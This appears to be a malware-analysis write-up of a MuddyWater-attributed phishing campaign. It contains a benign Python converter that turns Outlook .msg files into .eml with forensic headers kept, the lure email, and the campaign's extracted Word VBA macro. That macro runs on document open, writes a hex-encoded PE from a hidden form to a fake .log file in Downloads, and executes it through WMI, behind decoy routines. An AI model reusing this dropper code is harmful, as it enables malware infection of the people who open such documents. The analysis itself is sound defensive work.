1
NOTE: The email belongs to the UNG0801 / Operation IconCat campaign and uses the RUSTRIC/RustyWater tooling subsequently associated with MuddyWater/Seedworm. Current reporting supports a MuddyWater attribution, although the original campaign attribution was less certain.

1
#!/usr/bin/env python3
2
"""
3
Convert Outlook .msg files to .eml with full transport / forensic headers preserved.
4

5
Standard MSG exports often drop Exchange headers such as:
6
  X-MS-Exchange-Organization-OriginalClientIPAddress
7

8
This script reads the stored internet header block from the MSG OLE container,
9
merges it with the MIME body rebuilt from attachments, and writes RFC 5322 EML.
10
"""
11

12
from __future__ import annotations
13

14
import argparse
15
import sys
16
from email import policy
17
from email.parser import HeaderParser
18
from pathlib import Path
19
from typing import Iterable, Optional
20

21
try:
22
    import olefile
23
except ImportError as exc:  # pragma: no cover
24
    raise SystemExit("Missing dependency: pip install olefile") from exc
25

26
try:
27
    from extract_msg import Message
28
except ImportError as exc:  # pragma: no cover
29
    raise SystemExit("Missing dependency: pip install extract-msg") from exc
30

31

32
# OLE streams that may contain the full internet header block.
33
# 64F00102 = transport MIME snapshot (best source for Exchange forensic headers)
34
# 007D001F = PR_TRANSPORT_MESSAGE_HEADERS (UTF-16-LE)
35
# 007D001E = PR_TRANSPORT_MESSAGE_HEADERS (ANSI)
36
HEADER_STREAMS = (
37
    "__substg1.0_64F00102",
38
    "__substg1.0_007D001F",
39
    "__substg1.0_007D001E",
40
)
41

42
SKIP_HEADER_NAMES = frozenset({"content-type", "mime-version"})
43

44

45
def decode_header_stream(name: str, data: bytes) -> str:
46
    if name.endswith("001F"):
47
        return data.decode("utf-16-le", errors="replace")
48
    if name.endswith("001E"):
49
        return data.decode("latin-1", errors="replace")
50
    return data.decode("utf-8", errors="replace")
51

52

53
def read_raw_header_block(msg_path: Path) -> Optional[str]:
54
    """Return the raw header section stored inside the MSG file, if present."""
55
    with olefile.OleFileIO(str(msg_path)) as ole:
56
        for stream in HEADER_STREAMS:
57
            if not ole.exists(stream):
58
                continue
59
            text = decode_header_stream(stream, ole.openstream(stream).read()).strip()
60
            if text:
61
                return text
62
    return None
63

64

65
def split_header_body(raw: str) -> str:
66
    """Extract only the RFC 5322 header section from a stored header/MIME block."""
67
    for separator in ("\r\n\r\n", "\n\n"):
68
        header_block, _, _ = raw.partition(separator)
69
        if header_block.strip():
70
            return header_block
71
    return raw
72

73

74
def filter_transport_headers(header_block: str) -> str:
75
    """
76
    Drop MIME envelope fields that will be rebuilt from the body.
77

78
    Line-based parsing preserves original header encoding (e.g. RFC 2047 Subject).
79
    """
80
    lines = header_block.splitlines()
81
    kept: list[str] = []
82
    skipping = False
83

84
    for line in lines:
85
        if line.startswith((" ", "\t")):
86
            if not skipping:
87
                kept.append(line)
88
            continue
89

90
        if ":" not in line:
91
            kept.append(line)
92
            skipping = False
93
            continue
94

95
        name = line.split(":", 1)[0].strip().lower()
96
        if name in SKIP_HEADER_NAMES:
97
            skipping = True
98
            continue
99

100
        skipping = False
101
        kept.append(line)
102

103
    return "\r\n".join(kept)
104

105

106
def extract_transport_headers(msg_path: Path) -> str:
107
    raw = read_raw_header_block(msg_path)
108
    if raw:
109
        return filter_transport_headers(split_header_body(raw))
110

111
    # Fallback: partial headers from extract_msg (may miss forensic Exchange fields).
112
    msg = Message(str(msg_path))
113
    try:
114
        header_text = msg.headerText or ""
115
        if header_text.startswith("Microsoft Mail Internet Headers Version 2.0"):
116
            header_text = header_text[43:].lstrip()
117
        if header_text.strip():
118
            return filter_transport_headers(split_header_body(header_text))
119

120
        synthesized = []
121
        for key, value in msg.header.items():
122
            if key.lower() not in SKIP_HEADER_NAMES:
123
                synthesized.append(f"{key}: {value}")
124
        return "\r\n".join(synthesized)
125
    finally:
126
        msg.close()
127

128

129
def split_mime_bytes(raw: bytes) -> tuple[bytes, bytes]:
130
    if b"\r\n\r\n" in raw:
131
        return raw.split(b"\r\n\r\n", 1)
132
    return raw.split(b"\n\n", 1)
133

134

135
def pick_mime_envelope_headers(mime_header_bytes: bytes) -> str:
136
    """Keep only Content-Type and MIME-Version from the generated MIME body."""
137
    header_text = mime_header_bytes.decode("utf-8", errors="replace")
138
    parsed = HeaderParser(policy=policy.default).parsestr(header_text + "\r\n")
139
    keep: list[str] = []
140
    for name in ("MIME-Version", "Content-Type"):
141
        if name in parsed:
142
            keep.append(f"{name}: {parsed[name]}")
143
    return "\r\n".join(keep)
144

145

146
def build_eml_bytes(msg_path: Path) -> bytes:
147
    transport_headers = extract_transport_headers(msg_path)
148

149
    msg = Message(str(msg_path))
150
    try:
151
        mime_message = msg.asEmailMessage()
152
        mime_bytes = mime_message.as_bytes(policy=policy.SMTP)
153
    finally:
154
        msg.close()
155

156
    mime_header_bytes, mime_body_bytes = split_mime_bytes(mime_bytes)
157
    envelope_headers = pick_mime_envelope_headers(mime_header_bytes)
158

159
    parts = [transport_headers]
160
    if envelope_headers:
161
        parts.append(envelope_headers)
162
    header_section = "\r\n".join(part for part in parts if part)
163
    return header_section.encode("utf-8") + b"\r\n\r\n" + mime_body_bytes
164

165

166
def default_output_path(input_path: Path) -> Path:
167
    return input_path.with_suffix(".eml")
168

169

170
def convert_file(input_path: Path, output_path: Optional[Path] = None, force: bool = False) -> Path:
171
    input_path = input_path.resolve()
172
    if input_path.suffix.lower() != ".msg":
173
        raise ValueError(f"Not an .msg file: {input_path}")
174

175
    output_path = (output_path or default_output_path(input_path)).resolve()
176
    if output_path.exists() and not force:
177
        raise FileExistsError(f"Output already exists (use --force): {output_path}")
178

179
    output_path.parent.mkdir(parents=True, exist_ok=True)
180
    output_path.write_bytes(build_eml_bytes(input_path))
181
    return output_path
182

183

184
def iter_msg_files(paths: Iterable[Path], recursive: bool) -> list[Path]:
185
    files: list[Path] = []
186
    for path in paths:
187
        path = path.resolve()
188
        if path.is_file() and path.suffix.lower() == ".msg":
189
            files.append(path)
190
        elif path.is_dir():
191
            pattern = "**/*.msg" if recursive else "*.msg"
192
            files.extend(sorted(path.glob(pattern)))
193
    return files
194

195

196
def parse_args(argv: Optional[list[str]] = None) -> argparse.Namespace:
197
    parser = argparse.ArgumentParser(
198
        description="Convert Outlook .msg files to .eml with full transport headers preserved.",
199
    )
200
    parser.add_argument(
201
        "inputs",
202
        nargs="+",
203
        type=Path,
204
        help="Input .msg file(s) and/or directories containing .msg files",
205
    )
206
    parser.add_argument(
207
        "-o",
208
        "--output",
209
        type=Path,
210
        help="Output .eml path (only valid for a single input file)",
211
    )
212
    parser.add_argument(
213
        "-r",
214
        "--recursive",
215
        action="store_true",
216
        help="Recursively search directories for .msg files",
217
    )
218
    parser.add_argument(
219
        "--force",
220
        action="store_true",
221
        help="Overwrite existing .eml files",
222
    )
223
    parser.add_argument(
224
        "-q",
225
        "--quiet",
226
        action="store_true",
227
        help="Suppress non-error output",
228
    )
229
    return parser.parse_args(argv)
230

231

232
def main(argv: Optional[list[str]] = None) -> int:
233
    args = parse_args(argv)
234
    msg_files = iter_msg_files(args.inputs, args.recursive)
235

236
    if not msg_files:
237
        print("No .msg files found.", file=sys.stderr)
238
        return 1
239

240
    if args.output and len(msg_files) != 1:
241
        print("--output requires exactly one input .msg file.", file=sys.stderr)
242
        return 1
243

244
    errors = 0
245
    for msg_file in msg_files:
246
        try:
247
            out = convert_file(
248
                msg_file,
249
                output_path=args.output,
250
                force=args.force,
251
            )
252
            if not args.quiet:
253
                print(f"Converted: {msg_file} -> {out}")
254
        except Exception as exc:
255
            errors += 1
256
            print(f"ERROR: {msg_file}: {exc}", file=sys.stderr)
257

258
    return 1 if errors else 0
259

260

261
if __name__ == "__main__":
262
    raise SystemExit(main())

1
Subject: New Company Guidelines and Regulations
2

3
Body: Please read the new company guidelines and regulations in the attached file. Thank you.
4

5
Sincerely,

1
Private Sub Document_Open()
2

3
On Error GoTo AAAA
4
    SmartToggle
5
    Dim pth As String
6

7
    WriteHexToFile
8
    Dim fff As String
9
    love_me_
10
AAAA:
11
    If Cos(70 * 3.14119265358979 / 180) = 0 Then
12
        MsgBox "Hi :), have a nice time :)" & filePath
13
    End If
14

15
End Sub

1
Sub love_me_()
2
    Dim wmiService As Object
3
    Dim process As Object
4
    Dim pePath As String
5
    Dim result As Integer
6

7
    pePath = Environ("USERPROFILE") & "\Downloads\PhotoAcq.log"
8

9
    Set wmiService = GetObject("winmgmts:\\.\root\cimv2")
10
    Set process = wmiService.Get("Win32_Process")
11

12
    result = process.Create(pePath, Null, Null, processId)
13

14
    If result <> 0 Then
15
        MsgBox "Failed to execute PE file. Error: " & result, vbCritical
16
    End If
17
End Sub

1
Sub WriteHexToFile()
2
    Dim hexString As String
3
    Dim byteData() As Byte
4
    Dim i As Long
5
    Dim fileNum As Integer
6
    Dim filePath As String
7

8
    hexString = UserForm1.TextBox1.Text
9

10
    hexString = Replace(hexString, " ", "")
11
    hexString = Replace(hexString, vbCrLf, "")
12
    hexString = Replace(hexString, vbLf, "")
13
    hexString = Replace(hexString, vbCr, "")
14

15
    If Len(hexString) Mod 2 <> 0 Then
16
        MsgBox "Hex string. length must0 be even. :(", vbExclamation
17
        Exit Sub
18
    End If
19

20
    ReDim byteData(Len(hexString) \ 2 - 1)
21
    For i = 0 To UBound(byteData)
22
        byteData(i) = CByte("&H" & Mid(hexString, i * 2 + 1, 2))
23
    Next i
24

25
    userProfile = Environ("USERPROFILE")
26
    filePath = userProfile & "\Downloads\PhotoAcq.log"
27

28
    fileNum = FreeFile
29
    Open filePath For Binary Access Write As #fileNum
30
        Put #fileNum, , byteData
31
    Close #fileNum
32

33
    If Cos(70 * 3.14159265 / 180) = 0 Then
34
        MsgBox "Hi, have a nice time :)" & filePath
35
    End If
36
End Sub

1
Sub InitializeToggle()
2
    If ActiveDocument.Shapes.Count < 2 Then
3
        MsgBox "Insert 2 floating images first!"
4
        Exit Sub
5
    End If
6
    CurrentFront = 1
7
    ActiveDocument.Shapes(1).ZOrder msoBringToFront
8
    MsgBox "Initialized! First image is in front."
9
End Sub

1
Sub SmartToggle()
2
    On Error GoTo ErrorHandler
3
    If ActiveDocument.Shapes.Count < 2 Then
4
        Exit Sub
5
    End If
6
    If CurrentFront = 1 Then
7
        ActiveDocument.Shapes(2).ZOrder msoBringToFront
8
        CurrentFront = 2
9
    Else
10
        ActiveDocument.Shapes(1).ZOrder msoBringToFront
11
        CurrentFront = 1
12
    End If
13
    Exit Sub
14
ErrorHandler:
15
    If Cos(70 * 3.14119265358979 / 180) = 0 Then
16
        MsgBox "Hi :), have a nice time :)" & filePath
17
    End If
18
End Sub

1
Private Sub TextBox1_Change()
2

3
End Sub

1
4D5A90000300000004000000FFFF0000B8..........................0000000000000